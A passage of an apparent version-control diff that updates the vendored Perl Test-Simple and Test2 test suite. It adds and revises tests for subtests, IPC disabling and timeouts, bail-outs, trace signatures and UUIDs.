+        unless $tb->{Stack}->top->format->isa('Test::Builder::Formatter');
 
-is( $err, "# undef\n" );
-no_warnings;
+    my $err = '';
+    $tb->failure_output(\$err);
+    diag(undef);
+    $tb->reset_outputs;
 
+    is( $err, "# undef\n" );
+    no_warnings;
+}
 
+
 $tb->maybe_regex(undef);
 no_warnings;
 

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/utf8.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/utf8.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/utf8.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {
@@ -15,6 +17,7 @@
     # All together so Test::More sees the open discipline
     $have_perlio = eval q[
         require PerlIO;
+        PerlIO->VERSION(1.02); # required for PerlIO::get_layers
         binmode *STDOUT, ":encoding(utf8)";
         binmode *STDERR, ":encoding(utf8)";
         require Test::More;
@@ -23,9 +26,12 @@
 }
 
 use Test::More;
+unless (Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter')) {
+    plan skip_all => 'Test cannot be run using this formatter';
+}
 
 if( !$have_perlio ) {
-    plan skip_all => "Don't have PerlIO";
+    plan skip_all => "Don't have PerlIO 1.02";
 }
 else {
     plan tests => 5;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/versions.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/versions.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/versions.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-PRELOAD
 
 # Make sure all the modules have the same version
 #

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,11 @@
 use strict;
 use warnings;
+# HARNESS-NO-PRELOAD
 
 use Test2::Tools::Tiny;
-use Test2::API qw/intercept/;
+use Test2::API qw/intercept test2_stack/;
 
-plan 4;
+plan 3;
 
 my @warnings;
 {
@@ -12,7 +13,7 @@
     require Test::Builder;
 };
 
-is(@warnings, 3, "got 3 warnings");
+is(@warnings, 2, "got warnings");
 
 like(
     $warnings[0],
@@ -25,11 +26,3 @@
     qr/Formatter Test::Builder::Formatter loaded too late to be used as the global formatter/,
     "Got the formatter warning"
 );
-
-like(
-    $warnings[2],
-    qr/The current formatter does not support 'no_header'/,
-    "Formatter does not support no_header",
-);
-
-

Added: vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept/;
+use Test::More ();
+
+my $events = intercept {
+    Test::More::ok(0, 'name');
+};
+
+my ($ok, $diag) = @$events;
+
+ok($ok->isa('Test2::Event::Ok'), "got 'ok' result");
+is($ok->pass, 0, "'ok' test failed");
+is($ok->name, 'name', "got 'ok' name");
+
+ok($diag->isa('Test2::Event::Diag'), "got 'ok' result");
+is($diag->message, "  Failed test 'name'\n  at $0 line 9.\n", "got all diag message in one diag event");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,42 @@
+use strict;
+use warnings;
+
+if ($] lt "5.008") {
+    print "1..0 # SKIP Test cannot run on perls below 5.8.0\n";
+    exit 0;
+}
+
+BEGIN {
+    require Test2::API;
+    Test2::API::test2_start_preload();
+}
+
+use Test::More;
+
+my ($stdout, $stderr) = ('', '');
+{
+    local *STDOUT;
+    open(STDOUT, '>', \$stdout) or die "Could not open temp STDOUT";
+
+    local *STDERR;
+    open(STDERR, '>', \$stderr) or die "Could not open temp STDOUT";
+
+    diag("test\n", "diag\nfoo");
+    note("test\n", "note\nbar");
+}
+
+Test2::API::test2_stop_preload();
+
+is($stdout, <<EOT, "Got stdout");
+# test
+# note
+# bar
+EOT
+
+is($stderr, <<EOT, "Got stderr");
+# test
+# diag
+# foo
+EOT
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,48 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/run_subtest intercept/;
+
+my $step = 0;
+my @callback_calls = ();
+Test2::API::test2_add_callback_pre_subtest(
+    sub {
+        is(
+            $step,
+            0,
+            'pre-subtest callbacks should be invoked before the subtest',
+        );
+        ++$step;
+        push @callback_calls, [@_];
+    },
+);
+
+run_subtest(
+    (my $subtest_name='some subtest'),
+    (my $subtest_code=sub {
+         is(
+             $step,
+             1,
+             'subtest should be run after the pre-subtest callbacks',
+         );
+         ++$step;
+     }),
+    undef,
+    (my @subtest_args = (1,2,3)),
+);
+
+is_deeply(
+    \@callback_calls,
+    [[$subtest_name,$subtest_code, at subtest_args]],
+    'pre-subtest callbacks should be invoked with the expected arguments',
+);
+
+is(
+    $step,
+    2,
+    'the subtest should be run',
+);
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_events.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_events.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_events.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,8 +10,8 @@
     run_subtest('blah', $code, 'buffered');
 };
 
-ok(!$events->[0]->in_subtest, "main event is not inside a subtest");
+ok(!$events->[0]->trace->nested, "main event is not inside a subtest");
 ok($events->[0]->subtest_id, "Got subtest id");
-ok($events->[0]->subevents->[0]->in_subtest, "nested events are in the subtest");
+is($events->[0]->subevents->[0]->trace->hid, $events->[0]->subtest_id, "nested events are in the subtest");
 
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,24 +6,28 @@
 use Test2::API qw/run_subtest intercept/;
 
 my $events = intercept {
-	todo 'testing todo', sub {
-		run_subtest(
-			'fails in todo',
-			sub {
-				ok(1, 'first passes');
-				ok(0, 'second fails');
-			});
-	};
+    todo 'testing todo', sub {
+        run_subtest(
+            'fails in todo',
+            sub {
+                ok(1, 'first passes');
+                ok(0, 'second fails');
+            }
+        );
+    };
 };
 
 ok($events->[1],                 'Test2::Event::Subtest', 'subtest ran');
 ok($events->[1]->effective_pass, 'Test2::Event::Subtest', 'subtest effective_pass is true');
 ok($events->[1]->todo,           'testing todo',          'subtest todo is set to expected value');
-my @oks = grep { $_->isa('Test2::Event::Ok') } @{$events->[1]->subevents};
-is(scalar @oks, 2, 'got 2 Ok events in the subtest');
-ok($oks[0]->pass,           'first event passed');
-ok($oks[0]->effective_pass, 'first event effective_pass is true');
-ok(!$oks[1]->pass,          'second event failed');
-ok($oks[1]->effective_pass, 'second event effective_pass is true');
 
+my $subevents = $events->[1]->subevents;
+
+is(scalar @$subevents, 3, 'got subevents in the subtest');
+
+ok($subevents->[0]->facets->{assert}->pass, 'first event passed');
+
+ok(!$subevents->[1]->facets->{assert}->pass, 'second event failed');
+ok(!$subevents->[1]->causes_fail,    'second event does not cause failure');
+
 done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,11 @@
+use strict;
+use warnings;
+
+no Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::IPC::Driver::Files;
+
+ok(Test2::API::test2_ipc_disabled, "disabled IPC");
+ok(!Test2::API::test2_ipc, "No IPC");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,11 @@
+use strict;
+use warnings;
+
+BEGIN { $ENV{T2_NO_IPC} = 1 };
+use Test2::Tools::Tiny;
+use Test2::IPC::Driver::Files;
+
+ok(Test2::API::test2_ipc_disabled, "disabled IPC");
+ok(!Test2::API::test2_ipc, "No IPC");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,12 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/test2_ipc_disable/;
+BEGIN { test2_ipc_disable() }
+use Test2::IPC::Driver::Files;
+
+ok(Test2::API::test2_ipc_disabled, "disabled IPC");
+ok(!Test2::API::test2_ipc, "No IPC");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+use strict;
+use warnings;
+
+use Test2::Util qw/CAN_THREAD/;
+use Test2::API qw/context/;
+
+BEGIN {
+    sub plan {
+        my $ctx = context();
+        $ctx->plan(@_);
+        $ctx->release;
+    }
+
+    unless (CAN_THREAD()) {
+        plan(0, skip_all => 'System does not have threads');
+        exit 0;
+    }
+}
+
+use threads;
+no Test2::IPC;
+use Test::More;
+
+ok(Test2::API::test2_ipc_disabled, "disabled IPC");
+ok(!Test2::API::test2_ipc, "No IPC");
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/init_croak.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/init_croak.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/init_croak.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,6 +14,8 @@
     }
 }
 
+skip_all("known to fail on $]") if $] le "5.006002";
+
 $@ = "";
 my ($file, $line) = (__FILE__, __LINE__ + 1);
 eval { my $one = Foo::Bar->new };

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/intercept.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/intercept.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/intercept.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use Test2::API qw/intercept intercept_deep context run_subtest/;
+
+sub streamed {
+    my $name = shift;
+    my $code = shift;
+
+    my $ctx = context();
+    my $pass = run_subtest("Subtest: $name", $code, {buffered => 0}, @_);
+    $ctx->release;
+    return $pass;
+}
+
+sub buffered {
+    my $name = shift;
+    my $code = shift;
+
+    my $ctx = context();
+    my $pass = run_subtest($name, $code, {buffered => 1}, @_);
+    $ctx->release;
+    return $pass;
+}
+
+my $subtest = sub { ok(1, "pass") };
+
+my $buffered_shallow = intercept { buffered 'buffered shallow' => $subtest };
+my $streamed_shallow = intercept { streamed 'streamed shallow' => $subtest };
+my $buffered_deep = intercept_deep { buffered 'buffered shallow' => $subtest };
+my $streamed_deep = intercept_deep { streamed 'streamed shallow' => $subtest };
+
+is(@$buffered_shallow, 1, "Just got the subtest event");
+is(@$streamed_shallow, 2, "Got note, and subtest events");
+is(@$buffered_deep, 3, "Got ok, plan, and subtest events");
+is(@$streamed_deep, 4, "Got note, ok, plan, and subtest events");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,83 @@
+use strict;
+use warnings;
+
+# The things done in this test can trigger a buggy return value on some
+# platforms. This prevents that. The harness should catch actual failures. If
+# no harness is active then we will NOT sanitize the exit value, false fails
+# are better than false passes.
+END { $? = 0 if $ENV{HARNESS_ACTIVE} }
+
+# Some platforms throw a sigpipe in this test, we can ignore it.
+BEGIN { $SIG{PIPE} = 'IGNORE' }
+
+BEGIN { local ($@, $?, $!); eval { require threads } }
+use Test2::Tools::Tiny;
+use Test2::Util qw/CAN_THREAD CAN_REALLY_FORK/;
+use Test2::IPC;
+use Test2::API qw/test2_ipc_set_timeout test2_ipc_get_timeout/;
+
+my $plan = 2;
+$plan += 2 if CAN_REALLY_FORK;
+$plan += 2 if CAN_THREAD && threads->can('is_joinable');
+plan $plan;
+
+is(test2_ipc_get_timeout(), 30, "got default timeout");
+test2_ipc_set_timeout(10);
+is(test2_ipc_get_timeout(), 10, "hanged the timeout");
+
+if (CAN_REALLY_FORK) {
+    note "Testing process waiting";
+    my ($ppiper, $ppipew);
+    pipe($ppiper, $ppipew) or die "Could not create pipe for fork";
+
+    my $proc = fork();
+    die "Could not fork!" unless defined $proc;
+
+    unless ($proc) {
+        local $SIG{ALRM} = sub { die "PROCESS TIMEOUT" };
+        alarm 15;
+        my $ignore = <$ppiper>;
+        exit 0;
+    }
+
+    my $exit;
+    my $warnings = warnings {
+        $exit = Test2::API::Instance::_ipc_wait(1);
+    };
+    is($exit, 255, "Exited 255");
+    like($warnings->[0], qr/Timeout waiting on child processes/, "Warned about timeout");
+    print $ppipew "end\n";
+
+    close($ppiper);
+    close($ppipew);
+}
+
+if (CAN_THREAD) {
+    note "Testing thread waiting";
+    my ($tpiper, $tpipew);
+    pipe($tpiper, $tpipew) or die "Could not create pipe for threads";
+
+    my $thread = threads->create(
+        sub {
+            local $SIG{ALRM} = sub { die "THREAD TIMEOUT" };
+            alarm 15;
+            my $ignore = <$tpiper>;
+        }
+    );
+
+    if ($thread->can('is_joinable')) {
+        my $exit;
+        my $warnings = warnings {
+            $exit = Test2::API::Instance::_ipc_wait(1);
+        };
+        is($exit, 255, "Exited 255");
+        like($warnings->[0], qr/Timeout waiting on child thread/, "Warned about timeout");
+    }
+    else {
+        note "threads.pm is too old for a thread joining timeout :-(";
+    }
+    print $tpipew "end\n";
+
+    close($tpiper);
+    close($tpipew);
+}

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,6 +5,8 @@
 
 use Test2::API qw/context/;
 
+skip_all("known to fail on $]") if $] le "5.006002";
+
 sub outer {
     my $code = shift;
     my $ctx = context();

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/no_load_api.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/no_load_api.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/no_load_api.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,8 @@
-# HARNESS-NO-PRELOAD
 use strict;
 use warnings;
 use Data::Dumper;
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
 
 ###############################################################################
 #                                                                             #
@@ -28,7 +29,7 @@
 require Test2::Util;
 require Test2::Util::ExternalMeta;
 require Test2::Util::HashBase;
-require Test2::Util::Trace;
+require Test2::EventFacet::Trace;
 
 require Test2::Hub;
 require Test2::Hub::Interceptor;
@@ -45,6 +46,6 @@
 require Test2::Tools::Tiny;
 
 Test2::Tools::Tiny::ok(!@loaded, "Test2::API was not loaded")
-    || diag("Loaded: " . Dumper(\@loaded));
+    || Test2::Tools::Tiny::diag("Loaded: " . Dumper(\@loaded));
 
 Test2::Tools::Tiny::done_testing();

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,9 +17,9 @@
 my $plan = pop @{$e->subevents};
 ok($plan->isa('Test2::Event::Plan'), "Removed plan");
 for my $se (@{$e->subevents}) {
-    is($se->trace->file, $file, "subtest event ($se->{name}) is at correct file");
-    is($se->trace->line, $line, "subtest event ($se->{name}) is at correct line");
-    ok($se->pass, "subtest event ($se->{name}) passed");
+    is($se->trace->file, $file, "subtest event is at correct file");
+    is($se->trace->line, $line, "subtest event is at correct line");
+    ok($se->facets->{assert}->pass, "subtest event passed");
 }
 
 
@@ -37,9 +37,9 @@
 $plan = pop @{$e->subevents};
 ok($plan->isa('Test2::Event::Plan'), "Removed plan");
 for my $se (@{$e->subevents}) {
-    ok($se->trace->file ne $file, "subtest event ($se->{name}) is not in our file");
-    ok($se->trace->line ne $line, "subtest event ($se->{name}) is not on our line");
-    ok($se->pass, "subtest event ($se->{name}) passed");
+    ok($se->trace->file ne $file, "subtest event is not in our file");
+    ok($se->trace->line ne $line, "subtest event is not on our line");
+    ok($se->facets->{assert}->{pass}, "subtest event passed");
 }
 
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/special_names.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/special_names.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/special_names.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,6 +16,8 @@
 test2_stack->top;
 
 my $temp_hub = test2_stack->new_hub();
+require Test2::Formatter::TAP;
+$temp_hub->format(Test2::Formatter::TAP->new);
 
 my $ok = capture {
     ok(1);

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,39 @@
+use Test2::Tools::Tiny;
+use strict;
+use warnings;
+
+use Test2::API qw/context run_subtest intercept/;
+
+sub subtest {
+    my ($name, $code) = @_;
+    my $ctx = context();
+    my $pass = run_subtest($name, $code, {buffered => 1}, @_);
+    $ctx->release;
+    return $pass;
+}
+
+sub bail {
+    my $ctx = context();
+    $ctx->bail(@_);
+    $ctx->release;
+}
+
+my $events = intercept {
+    subtest outer => sub {
+        subtest inner => sub {
+            bail("bye!");
+        };
+    };
+};
+
+ok($events->[0]->isa('Test2::Event::Subtest'), "Got a subtest event when bail-out issued in a buffered subtest");
+ok($events->[-1]->isa('Test2::Event::Bail'), "Bail-Out propogated");
+ok(!$events->[-1]->facet_data->{trace}->{buffered}, "Final Bail-Out is not buffered");
+
+ok($events->[0]->subevents->[-2]->isa('Test2::Event::Bail'), "Got bail out inside outer subtest");
+ok($events->[0]->subevents->[-2]->facet_data->{trace}->{buffered}, "Bail-Out is buffered");
+
+ok($events->[0]->subevents->[0]->subevents->[-2]->isa('Test2::Event::Bail'), "Got bail out inside inner subtest");
+ok($events->[0]->subevents->[0]->subevents->[-2]->facet_data->{trace}->{buffered}, "Bail-Out is buffered");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/trace_signature.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/trace_signature.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/trace_signature.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,44 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept context/;
+use Test2::Util qw/get_tid/;
+
+my $line;
+my $events = intercept {
+    $line = __LINE__ + 1;
+    ok(1, "pass");
+    sub {
+        my $ctx = context;
+        $ctx->pass;
+        $ctx->pass;
+        $ctx->release;
+    }->();
+};
+
+my $sigpass = $events->[0]->trace->signature;
+my $sigfail = $events->[1]->trace->signature;
+
+ok($sigpass ne $sigfail, "Each tool got a new signature");
+
+is($events->[$_]->trace->signature, $sigfail, "Diags share failed ok's signature") for 2 .. $#$events;
+
+like($sigpass, qr/^C\d+:$$:\Q${ \get_tid() }:${ \__FILE__ }:$line\E$/, "signature is sane");
+
+my $trace = Test2::EventFacet::Trace->new(frame => ['main', 'foo.t', 42, 'xxx']);
+is($trace->signature, undef, "No signature without a cid");
+
+is($events->[0]->related($events->[1]), 0, "event 0 is not related to event 1");
+is($events->[1]->related($events->[2]), 1, "event 1 is related to event 2");
+
+my $e = Test2::Event::Ok->new(pass => 1);
+is($e->related($events->[0]), undef, "Cannot check relation, invalid trace");
+
+$e = Test2::Event::Ok->new(pass => 1, trace => Test2::EventFacet::Trace->new(frame => ['', '', '', '']));
+is($e->related($events->[0]), undef, "Cannot check relation, incomplete trace");
+
+$e = Test2::Event::Ok->new(pass => 1, trace => Test2::EventFacet::Trace->new(frame => []));
+is($e->related($events->[0]), undef, "Cannot check relation, incomplete trace");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/uuid.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/uuid.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/uuid.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,78 @@
+use Test2::Tools::Tiny;
+use Test2::API qw/test2_add_uuid_via context intercept/;
+
+my %CNT;
+test2_add_uuid_via(sub {
+    my $type = shift;
+    $CNT{$type} ||= 1;
+    $type . '-' . $CNT{$type}++;
+});
+
+my $events = intercept {
+    ok(1, "pass");
+
+    sub {
+        my $ctx = context();
+        ok(1, "pass");
+        ok(0, "fail");
+        $ctx->release;
+    }->();
+
+    tests foo => sub {
+        ok(1, "pass");
+    };
+
+    warnings {
+        require Test::More;
+        *subtest = \&Test::More::subtest;
+    };
+
+    subtest(foo => sub {
+        ok(1, "pass");
+    });
+};
+
+my $hub = Test2::API::test2_stack->top;
+is($hub->uuid, 'hub-1', "First hub got a uuid");
+
+is($events->[0]->uuid, 'event-1', "First event gets first uuid");
+is($events->[0]->trace->uuid, 'context-2', "First event has correct context");
+is($events->[0]->trace->huuid, 'hub-2', "First event has correct hub");
+
+is($events->[0]->facet_data->{about}->{uuid}, "event-1", "The UUID makes it to facet data");
+
+is($events->[1]->uuid, 'event-2', "Second event gets correct uuid");
+is($events->[1]->trace->uuid, 'context-3', "Second event has correct context");
+is($events->[1]->trace->huuid, 'hub-2', "Second event has correct hub");
+
+is($events->[2]->uuid, 'event-3', "Third event gets correct uuid");
+is($events->[2]->trace->uuid, $events->[1]->trace->uuid, "Third event shares context with event 2");
+is($events->[2]->trace->huuid, 'hub-2', "Third event has correct hub");
+
+is($events->[3]->uuid, 'event-6', "subtest event gets correct uuid (not next)");
+is($events->[3]->subtest_uuid, 'hub-3', "subtest event gets correct subtest-uuid (next hub uuid)");
+is($events->[3]->trace->uuid, 'context-4', "subtest gets next sequential context");
+is($events->[3]->trace->huuid, 'hub-2', "subtest event has correct hub");
+
+is($events->[3]->subevents->[0]->uuid, 'event-4', "First subevent gets next event uuid");
+is($events->[3]->subevents->[0]->trace->uuid, 'context-5', "First subevent has correct context");
+is($events->[3]->subevents->[0]->trace->huuid, 'hub-3', "First subevent has correct hub uuid (subtest hub uuid)");
+
+is($events->[3]->subevents->[1]->uuid, 'event-5', "Second subevent gets next event uuid");
+is($events->[3]->subevents->[1]->trace->uuid, $events->[3]->trace->uuid, "Second subevent has same context as subtest itself");
+is($events->[3]->subevents->[1]->trace->huuid, 'hub-3', "Second subevent has correct hub uuid (subtest hub uuid)");
+
+is($events->[5]->uuid, 'event-10', "subtest event gets correct uuid (not next)");
+is($events->[5]->subtest_uuid, 'hub-4', "subtest event gets correct subtest-uuid (next hub uuid)");
+is($events->[5]->trace->uuid, 'context-8', "subtest gets next sequential context");
+is($events->[5]->trace->huuid, 'hub-2', "subtest event has correct hub");
+
+is($events->[5]->subevents->[0]->uuid, 'event-8', "First subevent gets next event uuid");
+is($events->[5]->subevents->[0]->trace->uuid, 'context-10', "First subevent has correct context");
+is($events->[5]->subevents->[0]->trace->huuid, 'hub-4', "First subevent has correct hub uuid (subtest hub uuid)");
+
+is($events->[5]->subevents->[1]->uuid, 'event-9', "Second subevent gets next event uuid");
+is($events->[5]->subevents->[1]->trace->uuid, $events->[5]->trace->uuid, "Second subevent has same context as subtest itself");
+is($events->[5]->subevents->[1]->trace->huuid, 'hub-2', "Second subevent has correct hub uuid (subtest hub uuid)");
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/legacy/TAP.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/legacy/TAP.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/legacy/TAP.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,6 @@
 #########################
 
 use Test2::API qw/test2_stack context/;
-use Test::Builder::Formatter;
 
 # The tools in Test2::Tools::Tiny have some intentional differences from the
 # Test::More versions, these behave more like Test::More which is important for
@@ -53,6 +52,9 @@
 test2_stack->top;
 
 my $temp_hub = test2_stack->new_hub();
+require Test::Builder::Formatter;
+$temp_hub->format(Test::Builder::Formatter->new);
+
 my $diag = capture {
     tm_diag(undef);
     tm_diag("");

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API/Context.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API/Context.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API/Context.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -91,7 +91,7 @@
 my $hub = Test2::Hub->new(
     formatter => $events,
 );
-my $trace = Test2::Util::Trace->new(
+my $trace = Test2::EventFacet::Trace->new(
     frame => [ 'Foo::Bar', 'foo_bar.t', 42, 'Foo::Bar::baz' ],
 );
 my $ctx = Test2::API::Context->new(
@@ -232,7 +232,7 @@
     my $ctx = context(level => -1);
 
     my $one = Test2::API::Context->new(
-        trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'blah']),
+        trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'blah']),
         hub => test2_stack()->top,
     );
     is($one->_depth, 0, "default depth");
@@ -257,7 +257,7 @@
 {
     like(exception { Test2::API::Context->new() }, qr/The 'trace' attribute is required/, "need to have trace");
 
-    my $trace = Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']);
+    my $trace = Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']);
     like(exception { Test2::API::Context->new(trace => $trace) }, qr/The 'hub' attribute is required/, "need to have hub");
 
     my $hub = test2_stack()->top;
@@ -336,15 +336,10 @@
 }->();
 
 {
-    {
-        package An::Info::Thingy;
-        sub render { 'zzz' }
-    }
-
     my ($e1, $e2);
     my $events = intercept {
         my $ctx = context();
-        $e1 = $ctx->ok(0, 'foo', ['xxx', sub { 'yyy' }, bless({}, 'An::Info::Thingy')]);
+        $e1 = $ctx->ok(0, 'foo', ['xxx']);
         $e2 = $ctx->ok(0, 'foo');
